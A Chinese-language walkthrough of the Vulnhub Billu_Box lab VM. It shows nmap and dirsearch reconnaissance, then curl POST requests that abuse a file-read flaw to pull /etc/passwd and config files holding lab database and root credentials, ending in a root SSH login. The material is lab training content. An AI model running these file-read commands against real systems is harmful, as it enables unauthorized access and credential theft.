Vulnhub-Billu_Box

文件包含(命令执行)+源码泄露+目录爆破

https://www.vulnhub.com/entry/billu-b0x,188/

靶机下载地址

启动后,保证kili和靶机在同一网段

nmap 扫描

探测靶机 ip 192.168.204.119

wps127

wps128

开放端口22和80端口

dirsearch -u http://192.168.204.119

目录爆破

wps129

搜集有用目录

[05:04:21] 200 -  307B  - /add.php                      

[05:04:21] 200 -  307B  - /add

[05:04:31] 200 -   1B  - /c   

[05:04:40] 200 -   3KB - /head                       

[05:04:40] 200 -   3KB - /head.php

[05:04:41] 301 -  248B  - /images  ->  http://192.168.204.119/images/     

[05:04:41] 200 -  500B  - /images/                      

[05:04:41] 200 -  47KB - /in                        

[05:04:50] 302 -   2KB - /panel  ->  index.php               

[05:04:50] 302 -   2KB - /panel.php  ->  index.php             

[05:04:51] 200 -   8KB - /phpmy/   

[05:04:58] 200 -   1B  - /show                       

[05:05:02] 200 -  72B  - /test                       

[05:05:02] 200 -  72B  - /test.php  

访问http://192.168.204.119/phpmy/ (phpmy一般是phpmyadmin数据库后台登录)

尝试弱口令登录,无法成功

wps130

访问其他目录,看看有没有其他有用信息

http://192.168.204.119/index.php

这也是一个登录页面

提示sqli 可能存在sql注入

wps131

http://192.168.204.119/test.php

提示我们:“file”参数为空。请在“file”参数中提供文件路径。

wps132

wps133

修改请求方式为POST

直接用curl进行请求,采用post的方式添加参数即可(-d相当于--data,添加POST的参数):

curl -d "file=/etc/passwd" http://192.168.204.119/test.php

改为POST请求成功

wps134

wps135

既然可以通过post请求方法,文件包含,读取index.php登录页面的代码

curl -d "file=index.php" http://192.168.204.119/test

wps136

发现c.php 和head.php为包含文件

继续读取c.php源码

curl -d "file=c.php" http://192.168.204.119/test

发现一个mysql数据库的账户名,密码

billu

b0x_billuwps137

http://192.168.204.119/add.php

一个可以上传的页面,可能存在文件上传漏洞

wps138

到目前为止,搜集到一个mysql登录后台,一个数据库账户密码;那么就可以尝试登录

成功登录

wps139

在auth这张表,发现用户名、密码

biLLu hEx_it

wps140

尝试登录index.php页面

登录成功

wps141

对于pmpmy/ 目录 可以继续爆破数据库子目录,

wps142

发现数据库的配置文件路径/phpmy/config.inc.php

wps143

继续file 文件包含访问

curl -d "file=phpmy/config.inc.php" http://192.168.204.119/test

wps144

root 用户名和密码

尝试ssh连接

ssh root@192.168.204.119

wps145

证明是root权限